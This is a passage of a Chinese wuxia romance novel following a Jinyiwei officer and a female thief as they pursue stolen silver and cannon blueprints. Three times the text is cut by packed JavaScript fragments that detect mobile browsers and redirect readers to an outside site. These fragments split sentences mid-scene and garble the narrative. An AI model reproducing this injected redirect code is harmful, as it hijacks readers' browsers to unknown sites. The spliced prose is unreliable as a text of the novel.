聂未晨刀尖停在她喉前,刻意留了不少余地,微风拂起她几缕松落的长发,桂花香气迎面飘来,隐约与血腥气交融。 “物归原主,既往不咎。”他压低声音,左手拇指抚过她颈侧一抹血迹,并无伤口…… 梁若鸢轻笑,指尖一挑,锦囊飞向半空,聂未晨下意识地去接,却见她袖中微光乍现,三枚铜钱直奔他面门,他急退两步,横刀格挡,再抬头,梁若鸢坐在树杈上晃着腿,锦囊在她指间转得像只蝴蝶。 “想要?”她歪着头,发梢自肩侧垂落,“拿你那牙牌来换。” 聂未晨微微蹙眉,那是锦衣卫的身份凭证,她要来做什么?她拿那图纸又是做什么? 梁若鸢脚边红裙在风中翩扬,如枝头开了一朵烈焰红莲,聂未晨看她半晌,收刀入鞘,转身就走。 “喂!”梁若鸢手上动作停住,锦囊转了两圈吊在她指间,她从树上跃下,落在他身后,“给你给你……真小气……” “假的。”聂未晨头也不回,“真图在……” 话未说完,破空声至,梁若鸢猛地将他撞开,一支弩箭擦过她的头发深深钉入他们正前方的树干里,黑翎卫援兵自各处奔来,林深处人影攒动。 “分头走。”聂未晨甩出三枚飞镖,“码头西侧渔市。”三声痛呼几乎同步,他刻意说得大声,确保来者听见。 梁若鸢一把揪住他的衣领,鼻尖几乎与他相贴:“你伤还没好,又想当英雄?”她将他一推,“我引开他们,你走你的。” 她将手中锦囊举高,大喊道:“图纸给我!别想抢功!” 聂未晨扯了她腰上系带将她一把拉回,半枚鱼佩自她心口衣襟滑出,是当年送他那枚的另一半…… “你拿的是饵。”他在她耳畔低声道:“真图在……” “在你腰带暗层。”梁若鸢打断他,笑得傲气又狡黠,“用蜡密封着。” 聂未晨僵了一瞬,她舔了舔唇角,洋洋得意:“扒你衣服时我偷偷检查过了。” 远处传来呼哨声,追兵不少,聂未晨忽然揽了她腰肢,带着她滚进山间溪流,箭雨顷刻坠落,钉在他们方才站的地方。 山水没过两人胸口,梁若鸢的红裙在水中绽开,两人从水中爬起,乌发尽湿,贴在脸侧、额前。 “说好的……合作?”聂未晨紧紧抓住她双臂,那双傲气的眼睛近在咫尺,山水的寒意与身前温热相汇相融。 “各取所需。”梁若鸢臂上血纹传来一阵阵钝痛,她双手环住他的脖子,刻意贴近,笑了笑,忽然踩了他的腿借力翻上对岸,“我七你三。” 聂未晨看着她跳上去,笑出声来,跃出水面的一瞬刀刃劈开水面粼光,两名黑翎卫探头来看,还未来得及反应便栽在水里,水底涌起血色,他轻轻落在她身侧。 “东南角。”梁若鸢低喝。 聂未晨轻笑会意,假意露出破绽,一黑翎卫从树上扑来,梁若鸢袖中小刀朝天射出,那人脖颈浮出一道血线,身体重重落地。 黑翎卫还在逼近,梁若鸢跑到隐蔽处,靠在树上喘了口气,将腰侧锦囊扯下,看了看,皱眉道:“蜂蜡若融了,你的真图也废了,还是给我吧。” 聂未晨不慌不忙,从发髻中抽出一根空心银簪:“真图在这。”他晃了晃簪子,里面传出细微的滑动声,“乔姑娘下次检查还是彻底些好。” 梁若鸢眯起眼睛看他,忽然伸手拽下他腰间牙牌:“扯平了。”她双手将牙牌护在心口处,手指悄悄将滑出的玉佩塞回衣服里,转身就走,走两步回头看看他,红裙湿答答地贴在身上,随着她的步伐泛着水光。 聂未晨摸了摸腰带,假图不知何时不见,他无奈一瞬,喊道:“乔乔!”他举起从她发间顺走的珊瑚簪,“这个归我?” 梁若鸢摸了摸半散的发髻,竟是一笑,晃了晃手中牙牌:“你说的,午时三刻,不许迟到。” 她跃上树梢,刻意弄出声响,几个起落,不远处传来追兵呼喊声。 珊瑚簪温润精致,他握在手中反复摩挲,发现簪头暗藏机关,轻轻一按,弹出一张字条,八个小字,娟秀纤柔:通州木场,先到先得。 他一笑,收起纸条,朝反方向走去,佛郎机炮图纸收在发冠银簪里,梁若鸢的背影在脑海中浮现,鼻息中似还残留着一丝香气。 “快!他身上有图纸!” 追兵竟分做两路,几道人影渐近,聂未晨右手按在刀上,运功一瞬,一口血涌上喉头,他将刀杵在地上,撑住下坠的身子,失去意识前,看见一名女子朝他走来。 血的味道……铁锈般的腥气缠绕在舌尖,与浓重的苦药味交织成令人窒息的网。 聂未晨尝试移动手指,却在呼吸中感觉到胸口有绷带层层包裹,左臂伤口敷着清凉的药膏……有人给他处理过伤势,极精细…… “聂大人,你总算醒了。”女声轻柔,带着苏州府的口音,语气里夹带着恰到好处的惊喜,“大人昏迷了三天三夜,但也好,伤也养了几天。” 聂未晨朦胧睁眼,茅草屋顶,粗陶药罐,窗外隐约传来虫鸣,一女子身着藕粉色襦裙,正俯身查看他身上伤势,腕间珊瑚手串随动作轻响。 他的视线渐渐清晰,一张与梁若鸢七分相似的脸映入眼帘,他心头一惊,有诈…… 半晌,他问道:“梁……姑娘?”他声音微哑,装作惊喜又困惑。 女子眼圈微红,帕子浸透药汁,轻拭他的额头和脸颊:“河间府一别,没想到会在这种情形下重逢。” 她刻意看着他的眼睛,以此显示自己并不心虚:“当年家父卷入科场舞弊之事,母亲悬梁自尽,我便被官卖为婢,虽侥幸逃离,却从不敢想还能再见到你。“ 聂未晨指尖在被褥下微微发颤,他在河间府流落时被一女子所救之事知道的人甚多,而她若不是她,更多的事情若为人所知,梁若鸢便是死罪难逃…… 他假装激动,握住女子手腕……内力浑厚,绝非普通医女……虎口有长期使用峨眉刺留下的薄茧,右手小指指甲里藏着毒囊。 “我在林子里放了些毒烟,那些追杀你的人……”女子压低了声音,“他们在找这个吧?”她从药箱底层取出个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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女子的手滑向他腰腹,他忽然扮作梦呓:“阿鸢……别去宁王府……” 女子浑身僵住,聂未晨默数到三,那双手果然抽离,房中响起急促的翻找声。 “原来如此。”女子激动得声音发颤,“主上要找的东西果然……”聂未晨翻了个身,她忽然噤声。 月光爬上窗棂,聂未晨“适时”醒来,看见女子坐在灯下,似绣着什么,见他睁眼,刻意稍稍藏起手中物件。 他能看清那是苏绣,这情网比他想象的更严密,但,织错了针脚,不过他们到底知道多少? “我梦见小时候了。”聂未晨虚弱地笑起来,“你把身契藏在鱼佩里给我……”他盯着女子骤然绷紧的指尖,“还记得你我的约定吗?” 女子强笑着点头,故作羞涩:“当然记得,但你先说,免得是你自己忘了,此时又来诓我。” 趁她在茶水里放下第二剂迷药,聂未晨悄然起身:“三件事。” 他掐着她脖子将她按在墙上,怒火与伤痛在他眼中交汇,“第一,梁家小姐救我那日河间府暴雪。”女子瞪大了眼睛,双手握拳的一瞬喉前窒息感攻上了头脑,聂未晨的手愈加用力了些,“第二,她从没告诉过我她叫什么。”他扯下她项上仿造的玉佩,“第三,苏州梁府旧宅种的都是海棠。” 他将女子刻意挂在腰侧的半枚鱼佩一把扯下,用力一握,假玉碎成齑粉:“还有这种赝品……” 女子指尖毒囊不知何时藏进了嘴里,她忽然一咬,聂未晨一记手刀劈在她颈侧,毒液混着血丝从她嘴角溢出。 “想死?”他掐起她的下颚,几乎将她吊起,将茶碗里新鲜的曼陀罗汁灌进她嘴里,“还没谢谢你们给我疗伤呢……我倒是很乐意审一审你这样的……人犯。”他将“人犯”二字说得咬牙切齿。 药力之下,女子目光涣散,手脚逐渐抽搐,头足相就,断断续续吐出“威逼”、“软肋”之词,聂未晨怒目将她敲晕,门外传来夜枭啼叫。 16. 恩将仇报 安庆府暴雨刚息,梁若鸢勒马停在官道旁,腰间牙牌沾湿后泛起金点,臂上血纹酸痛减轻。 与聂未晨分开已有数日,她身上异样都轻缓不少,那家伙许是恢复得不错? 她将“女贼盗走佛朗机炮图纸”之事沿途散布到各处,如今山贼、水匪皆在找她,各州府的官兵更不必说,加之假图纸作伪,应是无人追他才对……又或者,不多? “大人,前边桥垮了!”府衙里跟出来的侍卫喊道,他不确定她的身份,便一直跟着…… 梁若鸢压低声线,刻意模仿聂未晨冷峻的语调:“绕道而行,先去赈灾。” 泥泞中,她看见不少灾民瑟缩在城隍庙里,梁若鸢紧了紧身上外袍,这身从黑市买来的锦衣卫行头让她浑身不自在。 安庆府城门口,灾民的长队从门里排到门外,一个个嘴唇苍白,脊背佝偻,皆等着施粥。 “大人,再给一碗吧,我家孩子已经两天没吃东西了。”一个妇人已然瘦骨嶙峋,拽着梁若鸢的衣袖苦苦哀求。 梁若鸢看着妇人怀中奄奄一息的孩子,心中一痛,她摸向腰间钱袋,却想起自己此刻的身份——假冒的锦衣卫。 “按规矩每人一碗。”身旁的衙役板着脸道。 梁若鸢轻咳一声,压低嗓音:“给她。”她从锅中舀了满满一勺稠粥倒入妇人碗中,又悄悄塞了块碎银在孩子身上。 妇人千恩万谢,匆匆离去,梁若鸢目光追随着她的背影,抱着孩子一步一拖的步调着实令人揪心。 二十万两官银不明不白的失踪,赈灾粮款无法到位,这才有了如此人间惨剧,那些吃饱喝足,养尊处优的人,却还在蓄谋着别的事情。 “大人,知府大人请您过去一趟。”一个衙役匆匆跑来。 梁若鸢心中一紧,她伪造的文书印章能骗过城门守卫,却未必经得起知府的细查。 正犹豫,灾民队伍后方传来骚动,似一锅浑水突然沸腾。 “死人了!又死了一个!”一个声音穿透嘈杂,带着恐慌和愤怒。 梁若鸢快步走去,一身官服令人群在她面前如潮水分开。 不远处空出一块地方,泥石还未干透,一中年男子躺在那里,面色青紫,嘴角渗血,显然是中毒身亡。 但奇怪的是,死者手中紧攥着一个破旧的钱袋。 “让开!都让开!”粗犷的喝声传来,一个身材魁梧、满脸横肉的捕头带着几个衙役推开本已让路的人群。 梁若鸢正欲起身,垂死的男子忽然抓住她的手,力道大得惊人,嘴唇似在蠕动,梁若鸢立刻俯身去听。 “官银……船……”男子气若游丝,将钱袋塞入她手中,“交给……漕帮……” 话音未落,男子头一歪,断了气。 梁若鸢将钱袋藏入袖中,起身时正对上那捕头审视的目光。 “这位大人面生得很啊。”捕头上下打量着她,“在下安庆府捕头赵铁鹰,不知大人如何称呼?” “锦衣卫暗桩,不便透露姓名,本直接隶属聂指挥使,而今待命。”梁若鸢镇定答道,自己知道自己的心跳到了嗓子里。 赵铁鹰眼中闪过一丝怀疑,出手抓向梁若鸢的肩膀:“既如此,大人何不先去府衙报到,反倒在此施粥?” 梁若鸢侧身避开,袖中小刀已滑入指间,灾民见官差动手,惊恐四散。 “赵捕头这是何意?”她冷声问道,余光里观察着四周退路,六名衙役已悄然围了上来。 赵铁鹰冷笑:“锦衣卫腰牌右下角应有暗记,你的却只有龙纹,那分明是指挥使的牙牌。”他猛地撕向梁若鸢衣领,目现凶光,“没见过哪个锦衣卫如此细皮嫩肉的。” 布帛撕裂的一瞬,梁若鸢及时后仰,可束发的簪子不慎扯落,青丝如瀑散开,周围衙役倒吸一口凉气——竟是个女子! 伪装已破,梁若鸢索性不再掩饰:“赵捕头好眼力。”三枚铜钱从她手中射出,最前面的三名衙役应声跪地。 赵铁鹰大喝,双爪如钩,尽了力气朝她袭来。 梁若鸢轻盈跃起,足尖在粥台边缘一点,热粥泼向赵铁鹰面门,趁他闪避之际,她已掠出三丈之外。 “拦住她!”赵铁鹰抹去脸上粥水,怒吼道。 灾民纷纷躲闪,梁若鸢正欲离开,却见城门已闭,墙头弓手张弓搭箭,她暗觉不妙,转身冲入人群中。 趁着混乱,有人贴近后背,她猛地转身,手中小刀锋芒一扫。 “姑娘且慢!”来者架住她袭来的手,低声道,“我能帮你脱身。” 梁若鸢定睛一看,是个老者,衣衫褴褛,双眼浑浊,眼中却闪着精光,不等她回应,老者塞给她一件破斗篷:“穿上,跟我来。” 半信半疑间,梁若鸢披上斗篷,跟随老者钻入街角一条地道,入口极隐蔽,不细看还以为只是堆砌的货箱。 地道深处,泥土的气息迎面扑来,隐约带着腐臭味,身后追兵喊声渐远。 “老丈为何帮我?”地道中,梁若鸢警惕问道。 老者咳嗽两声:“那死的人是我侄子。他发现了不该发现的东西,这才遭了毒手。”他停下脚步,“姑娘冒充锦衣卫,想必也是为了官银失踪一事?” 梁若鸢不置可否,暗中捏紧了袖中钱袋,老者也不追问,指向地道尽头光亮处:“从此处出去是城西乱葬岗,无人把守,姑娘好自为之。” 那老者看着她走出去,转身沿来路折返,身影消失在黑暗中。 梁若鸢确认无人跟踪,取出钱袋查看,里面只有半枚铜钱,边缘参差不齐,似故意折断,铜钱正面依稀可见“白莲”二字,背面刻着奇怪的符号。 “白莲……”梁若鸢想起死者临终之言,难道官银失踪与白莲教有关?这个在民间秘密活动的教派确实有劫富济贫的前科…… 天色渐暗,还是先找地方落脚,她且走且寻,找到城西一家偏僻客栈,一进门,发觉数道目光落在自己身上。 柜台后,掌柜眼神闪烁,递钥匙时悄声道:“姑娘,有人留话给你——‘铜钱换性命’。” 梁若鸢心头一凛,微微一笑,强作镇定,上楼,房门一关,她立刻检查各处,在床下发现一张字条:“今夜子时,城南废庙,独来。” 字迹娟秀,似出自女子之手,梁若鸢将字条伸进灯台烛火中,点燃后丢进茶杯里。 她换了衣裳,和衣而卧,一把铜钱藏在枕下,窗外雨声渐密,她闭目养神,不敢真睡。 子夜时分,梁若鸢从窗户离开客栈,雨已停,月光如水,城南大片废墟显得荒芜惨白。 残垣断壁间,一道白色身影背对她站着:“梁姑娘果然守信。”白衣女子转过身来,面纱遮了半张脸,只露出一双秋水般的眸子。 “你认得我?”梁若鸢暗自戒备。 女子轻笑:“梁若鸢,曾经苏州通判家的千金小姐,‘一阵风’唯一的徒弟,赫赫有名的江南女贼,不识很难。”她伸出手来,“我要那半枚铜钱。” “凭什么?” “凭我能告诉你另外半枚在谁手中。”女子向前一步,“二十万两官银,足够买下半个安庆府。你以为仅凭你一人之力能找回?” 梁若鸢鄙夷道:“白莲教也想插手朝廷之事?” 女子眼中寒光一闪:“你知道了不该知道的。”她突然扬手,三道银光破空而来。 梁若鸢早有防备,侧身闪避,袖中铜钱射出,女子轻巧跃起,如白蝶展翅,袖中飞出一条白绫,缠向梁若鸢的脖颈。 两人在废墟间激斗,梁若鸢渐感吃力,这女子路数诡异,似正似邪,招招致命,一个疏忽,白绫缠住她右腕,扯痛之下,钱袋落地。 女子正要抢夺,破空声骤响,一支羽箭钉在她脚前,赵铁鹰带着十余衙役包围了废墟。 “白莲妖女!果然是你劫了官银!”赵铁鹰厉声喝道。 白衣女子冷笑一声,掷出烟弹,浓烟中,梁若鸢知觉有人抓住自己的手臂:“走!” 有人拽着她奔出废庙,直到城外树林才停下,月光下,救她的人摘下斗篷,竟是那地道中的老者。 “姑娘,现在你该信我了吧?”老者喘息道,“白莲教、知府衙门,还有你那锦衣卫身份的原主,都牵扯其中,这案子水太深了。” 梁若鸢看了看手中钱袋,幸好混乱中她又夺了回来。 “你到底是谁?” 老者苦笑:“老朽姓周,曾是安庆府户房书吏,那二十万两官银的押运路线,只有知府和我知道。”他压低声音,“但我可以发誓,路线绝无泄露。除非……” “除非什么?” “除非官银根本就没出过安庆府,姑娘可去天香苑看看,那歌姬是盐运使的人。” 梁若鸢心头一震,林中传来沙沙声,老者脸色大变,一把推开她:“小心!” 一支弩箭瞬间穿透老者胸膛,黑暗中,数名黑衣人无声逼近,梁若鸢短刃在手,寒光闪过,最先冲来的黑衣人喉间绽开血花。 “铜钱交出来,饶你不死。”为首的黑衣人冷声道。 梁若鸢冷笑:“有本事来拿!”她刀落如月,逼退三人,却听身后风声骤起,回身格挡,慢一拍,左肩一阵剧痛,一枚穿骨钉深深嵌入她的肩胛。 视线模糊之际,梁若鸢咬破舌尖维持清醒,黑衣人围拢过来,她握紧了手中钱袋。 一阵马蹄声,她抬头一瞬天旋地转,聂未晨一袭墨蓝劲装策马而来,身前还抱着个娇媚女子,两人共乘一骑。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15847603|174447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 混蛋……”梁若鸢虚弱冷笑,闭了眼。 雨声渐渐嘈杂,她醒在城隍庙里,身旁满是灾民,聂未晨坐在她身边,看着她睁眼,唇角扬起,目光落在她腰间牙牌上:“乔姑娘真是功德无量啊。” 梁若鸢渐渐回神,余光中有一陌生女子挨在他身边,她眼中微显怒意,无声之中,两人目光交锋,阴霾天光下似有火星燃起。 雨气弥漫,天光暗下,聂未晨忽然一笑,站起身来:“我去给你拿吃的。”他身侧女子亦跟着他起身,衣衫半湿,鬓发微乱,正娇怯怯往他身后缩,指尖还揪着他的衣袖,一副柔弱无依的模样。 “大人……”那女子怯怯看了他一眼,声音绵软,似嗔似怨,“雨好大,奴家冷。” 聂未晨低笑一声,解下外袍披在她肩上,为她系紧衣带,顺势抚了她鬓边碎发。 梁若鸢瞪大了眼睛,肩上伤口一痛……这混账!想着他内伤未愈,替他引开追兵,如今倒好,他竟有力气搂着美人招摇过市? 她冷笑一声,故意提高声音:“这位姑娘衣衫单薄,不如去火旁暖暖?”说罢,指尖一弹,一粒碎银击中女子膝窝。 女子腿一软,往门外泥水里栽去。 聂未晨眼疾手快,一把揽住她的腰,顺势将人往怀里带,挑眉看向梁若鸢:“乔大人这是……手滑?” 梁若鸢勉强起身,眼前还有些迷蒙,抱臂倚在柱边:“分明是天湿路滑,二位小心脚下才是。” 聂未晨唇角微勾,扶着那女子在角落里坐下,与女子分食带来的干粮,眼神挑衅,望着梁若鸢,细嚼慢咽。 夜深时雨收,滴水声携着虫鸣,灾民渐歇,梁若鸢闭上眼亦感觉到有人盯着自己,愤然离开。 她肩上还痛,伤口也不知如何处理过,自己也看不到,索性蹲在庙檐下,不看便当没有。 雨停之后闷热,正好风干似已湿了一日的衣袖,其实她也知道风不干,便就想那样呆着。 “乔姑娘这是怎么了?”聂未晨不知如何便到了她身后,声音带着戏谑,气息拂过她耳边。 她头也不回,朝后一记肘击:“大人内伤未愈,还是省省力气哄你的美人吧。” 聂未晨轻松挡下,反握住她手臂,看着她肩上伤口,将她一点点转向自己:“不够,再用力些才对。” 他衣襟微敞,心口伤痕是刚愈合粉白色,神情逐渐笑得恣意:“乔姑娘夺我令牌、散布谣言皆是为我遮掩行踪,如今竟连我抱谁都管?” 梁若鸢抬膝顶向他,他侧身避开,泥水溅上袍摆,她怒极反笑:“大人是故意带个姑娘气我?” “是又如何?”他拇指擦过她唇角,眼底暗潮翻涌,带着几分执拗,“她说她叫梁若鸢,你告诉我,她是不是?” 梁若鸢一怔,他发现了?臂上血纹灼热刺痛,他竟用青蚨毒感应她。 她将他推在墙上:“你还敢运功?你知不知道你内伤很重?不要命了?” 聂未晨喘息渐沉,仍勾着笑,握住她双肩一推,两人调换了位置:“不要命的是你。”他猛地掀开她袖口,露出泛红的血纹,以指尖描摹,“官银在哪另说,佛朗机炮的图纸如今是他们最想要的东西,宁王和东厂必然布下天罗地网,你竟想孤身犯险?如今还拿了白莲教的东西?” 浓云飘过,雨幕如倾,两人皆未动,对峙良久,淋得浑身湿透。 梁若鸢气愤道:“我如此费心皆是帮你,你就这般恩将仇报?” “恩将仇报?”聂未晨忽然低头一笑,不过是带了个女子,怎就成恩将仇报了?他似猫儿般将她臂上血纹蹭在唇边,攥着她手腕的指尖触到她狂跳的脉搏,“你每每撩拨我又撇开我时,怎么不想着我会报恩呢?” “放开!”她用力挣了挣,无济于事,那双眼睛死死盯着她,凶狠中混杂着模糊不清的委屈。 聂未晨颈侧青蚨血纹灼烧刺痛,他不知觉般张嘴咬了下去,梁若鸢疼得指尖发颤,却倔强地不肯出声。 雨水顺着他的下颌滴落,混着她臂上渗出的血,蜿蜒流进袖口。 “聂未晨……”她蹙眉抽了一下手,声音微哑,忽然软了语调,“你咬疼我了。” 他愣住,似才意识到,力道一松,梁若鸢趁机挣脱,纵身跃出,落在城隍庙院墙上,她回望一眼,发现聂未晨竟没追来。 红裙在雨中化作一道残影,聂未晨站在原地,抹去唇边血迹,轻笑道:“走吧……东厂的狗,我来收拾。” 东厂千户冯玉奉命追捕江南女贼,刚到安庆,听闻有锦衣卫在此救济灾民,一路寻来。 “指挥使?哼,不过是逃犯罢了。” 一众番子狞笑起来,梁若鸢身影掠过,没看见他们,却将他们吓了一跳,以为有埋伏,脚步又慢了些。 17. 程老板 趁着夜雨迷蒙,梁若鸢摸进了城,客栈房中水雾氤氲,她忍痛将臂上伤口洗了洗,牙印清晰可见,还在渗血。 她盯着齿痕看了片刻,整个人沉入水中,肩上穿刺伤遇水剧痛,她蹙眉想忍,痛到深处,霎时起身。 水珠顺着发梢淌下,落在锁骨处汇成细流,睫毛上的水光碎成星点,阻了视线,她半睁着眼,伸手摸向不远处的花几,指尖碰到刚从店家那里买来的金疮药,在药瓶滚落的一瞬恰好抓住。 肩上的痛觉令她控制不住动作,过量的药粉撒在伤口上,她倒吸一口凉气,痛得几乎叫出来。 衣物挂在一旁的屏风上,她将脸上水光抹尽,扶着桶沿起身,从暗袋中摸出那半枚铜钱。 切口似是匆忙弄断的,符号之间有莲花图案,她手指反复摩挲,难道是白莲教的什么信物?还有另外半枚? “老朽姓周,曾是安庆府户房书吏,那二十万两官银的押运路线,只有知府和我知道。”周书吏的话似还在耳边。 她从浴桶中站起,水珠顺着身体滑落,赤脚在房中踩出一串脚印。 她抓过布巾擦拭,对着铜镜检查肩上伤口,血有些发黑,一圈皮肉泛着不正常的青紫色。 “该死的妖女。”她咒骂一声,从暗袋里取出一个瓷瓶,倒出几粒红色的药丸吞下,又往瓶子里看了看,“还有一次,一条命。” 她将瓷瓶收好,穿上白色中衣,擦过头发披散在肩上,窗外,安庆府护城河在月下泛着粼光。 她手指无意识地摩挲着那半枚铜钱,双眼忽然一亮,还有一种可能,运输线路确实保密,但官银根本没有按照预定线路走。 她目光落在护城河上,安庆府护城河与长江支流相连,每日有数十艘漕帮货船进出。 如果…… 她快步走到桌前,提笔画了一张安庆府的简图,手指沿着护城河与城内水系的连接处划过,最后停在衙库后墙的位置。 “原来如此。”她轻声自语,嘴角勾起笑意。 官银根本没出城,至少不是以常规方式,有人利用护城河与衙库相邻的位置,在夜深人静时将银两从衙库后墙运了出去,直接装进了漕帮的货船。 漕帮的船每日进出城门,守城士兵早已熟悉,根本不会仔细检查,二十万两官银,就这样神不知鬼不觉地被分散运出了安庆府。 “漕帮和白莲教……”梁若鸢心中细想,这倒是个出人意料的组合。 漕帮向来不参与江湖纷争,只做正经运输生意,怎会卷入官银盗窃案?除非……有人给出了他们没有理由拒绝的条件。 窗外瓦片响动,梁若鸢瞬间吹灭蜡烛,贴到墙边,她右手摸向腰间短刀,将呼吸压得轻不可闻。 “梁姑娘,深夜独处,不嫌寂寞吗?”一个女声从屋顶传来,柔媚轻笑。 白莲教的妖女……她怎么找到这里的? “姐姐专程来给你送解药,怎么连面都不肯见?”瓦片轻轻掀起,一缕月光落入房中。 梁若鸢沉了口气,朗声道:“既然来了,何不进来一叙?躲在屋顶说话,不嫌累吗?” “伶牙俐齿的小丫头。”一道红影从窗口飘入,轻盈落在房中。 女子一袭红衣,面容姣好,眼中透着股邪气,十指皆染成紫色,看着颇诡异。 梁若鸢握紧短刀,神色自若:“你说的解药呢?” 妖女娇笑一声,从袖中取出一只小玉瓶,晃了晃:“在这儿,不过……”她眼神忽然凌厉,“你得先把那半枚铜钱交出来。” “什么铜钱?不知道。”梁若鸢装傻道。 “别装了。”妖女慢慢向前逼近,“周书吏都死了,你得了情报,还拿走了信物。”她忽然出手,五指曲折成爪,直取梁若鸢脖颈,“把铜钱交出来!” 梁若鸢侧身避过,短刀划出一道寒光,两人在客房里交手,桌椅案柜翻倒撞裂,紫色的指甲几次擦向梁若鸢的脸。 “小丫头功夫不错,‘一阵风’死也瞑目了。”妖女退后一步,露出诡异的笑,“可惜……” 梁若鸢忽然晕眩,肩上伤口传来剧痛,南疆的灵药竟压不住这毒性……她强撑着站稳,视线不受控制地模糊。 妖女得意走近:“毒入心脉……不好受吧?”她伸手去抓她的衣襟,“让我看看你把铜钱藏哪儿了……” 窗外射入一枚,打在妖女手背上,“深夜打扰姑娘家休息,可不是君子所为。”一个男子落在窗台上,靛青色长袍轻轻飘动。 他手中把玩着几枚铜钱,面容清俊,唇角含笑。 “程墨亭!”妖女脸色大变,“你……你怎么会在这里?” “苏州的茶叶快喝完了,来安庆买些新的。”程墨亭轻松答道,神色淡漠,“现在,你是自己走,还是我‘送’你走?” 妖女咬牙切齿,瞪了梁若鸢一眼:“这事没完!”她纵身跃出窗外,消失在夜色中。 梁若鸢双腿一软,往前倒去,程墨亭身形一闪,将她稳稳扶住。 “姑娘家的,何必这么拼命?”他叹了口气,从怀里取出药瓶,一粒青蓝的药丸倒进梁若鸢的嘴里,“吃下去,比你那些邪教的药好使。” 梁若鸢警惕看他:“为什么帮我?” 程墨亭微微一笑,从腰间取出半枚铜钱,与梁若鸢手中的半枚正好拼合。 “因为,”他将铜钱拼在一起,莲花图样清晰完整,“我们找的是同一个真相。” 梁若鸢最后的意识里,程墨亭将她轻轻抱起,耳边是他若有若无的叹息:“官银啊……钱啊……是该了结了……” 皖河水面薄雾渐起,画舫灯火摇碎在水中,丝竹声里杀机暗伏。 冯玉负手立于船头,玄色暗纹云蟒袍在夜风中猎猎作响,身旁一个番子急急跪下:“千户大人,顺着水路再往前,就是宁王的地界了。” 冯玉冷眸一转:“宁王算什么东西。” 一道黑影掠过水面,锦衣卫的曳撒在风中翻飞如翼,聂未晨落在船头,腰间绣春刀让近前番子如临大敌。 “冯千户,深夜赶路,穿山过水,好大的阵仗。”聂未晨声音低沉,目光透着杀意。 冯玉缓缓转身:“聂……哦不对,阁下也是半个人犯啊,也轮得到你管东厂的差事?” 聂未晨一笑,侧身让开,身后两名锦衣卫押出一个蒙面女子,身形与梁若鸢极为相似,只是眼神慌乱,一看便知有鬼。 “我是受押回京候审,刚好经过此处,与昔日同僚把冯千户要的人,正好擒获了。”聂未晨语气戏谑,浑身上下一股市井无赖气,眼底暗藏锋芒。 冯玉盯着那女子,压着怒火:“聂未晨,你当咱家是傻子?” 聂未晨不慌不忙,缓缓道:“此女化名梁若鸢,四处偷盗官银,我先前也找了许久了,背后主使……”他刻意做出懊恼状,“冯千户不妨亲自审问?锦衣卫已把此事回报上京了,您回去便可领功。” 他故意盯着他,目光意味深长,宁王的人,东厂敢不敢动? 冯玉眸中阴鸷,指节捏得“咔咔”作响,半晌,他猛地挥手:“带走!” 东厂番子押起那女子推进船舱,聂未晨与两名锦衣卫留在船头。 “大人,您真要回去吗?我们弟兄是大人一手提携的,大人若想……” 聂未晨刀柄敲在二人肩上:“回,去趟通州就回,就由你们送我。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15868085|174447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 梁若鸢醒来时,喉间泛着苦味,眼前一片朦胧,她猛地挣动,发现双手由绸带缚在身后,身下是锦褥,还算舒服,四周纱帐低垂,熏香……什么品味?浓得呛人。 “醒了?”程墨亭的声音从屏风后传来。 他执盏而出,眉目清朗,另一只手指尖把玩着一枚玄铁令牌,有御前司暗探的徽记。 江南最大的茶商,竟是皇帝埋在南方的暗棋? “程某的安神茶,梁姑娘可还满意?”他俯身,指尖掠过她臂上血纹,笑得温雅,“这‘同生蛊’倒是稀奇……聂指挥使说什么也要寻你,是为这个?” 寻?说不定他此刻已知她在哪里……梁若鸢不屑道:“程老板的待客之道,是捆了人塞进青楼?” “非也。”程墨亭袖中滑出一把薄刃,挑断她腕间绸带,“是有人出价十万两,要买姑娘的命,程某不过……抢先一步。” 门外骤起刀鸣,一柄绣春刀破门而入,刀锋自他耳畔飞过,钉在他身后木柱上,震颤不止。 聂未晨的声音裹着杀意砸进来:“程老板,动我的人,问过锦衣卫的刀了吗?” 雕花门扇轰然撞开,聂未晨锦袍染血,手中一把火铳,带着安庆卫所的刻字。 他目光扫过程墨亭,停在他触碰梁若鸢的手上,眼底戾气暴起。 程墨亭不退反进,袖中暗器抵住梁若鸢后心:“聂大人,陛下要的是东厂与宁王勾结的证物,可不是这女贼的命。”他轻笑,“不如各退一步?你拿账本交差,我带走梁姑娘……毕竟茶庄地窖,最适合藏娇。” 程墨亭刚说完,梁若鸢忽然拧转他捏着暗器的手腕,指尖寒光乍现,一柄小刀抵在他喉前,捏刀的手指犹豫着动了动,镇定道:“程老板的地窖,怕是装不下活人。”她一点点靠近他,“上次扬言要把我塞进棺材的那位,坟头草都三尺高了。” 窗外更鼓响起,可见河面漕船灯火连成蛇形顺水而来,头船甲板上似摆着数个木箱。 聂未晨扣住梁若鸢持刀的手,将她拉到自己身后,扯下染血的官袍,露出一身玄衣,“御前司有时间演戏,不如多会会老熟人。” 他回头看她一眼,兀自从窗口跃下,踏水掠上了漕船,在暗处摸到一个酒坛扔进水里。 漕帮守卫循声去看,他闪身到木箱前,用刀尖挑开了箱底暗格,东厂特有的四爪黑蟒纹样在昏灯下泛起冷光。 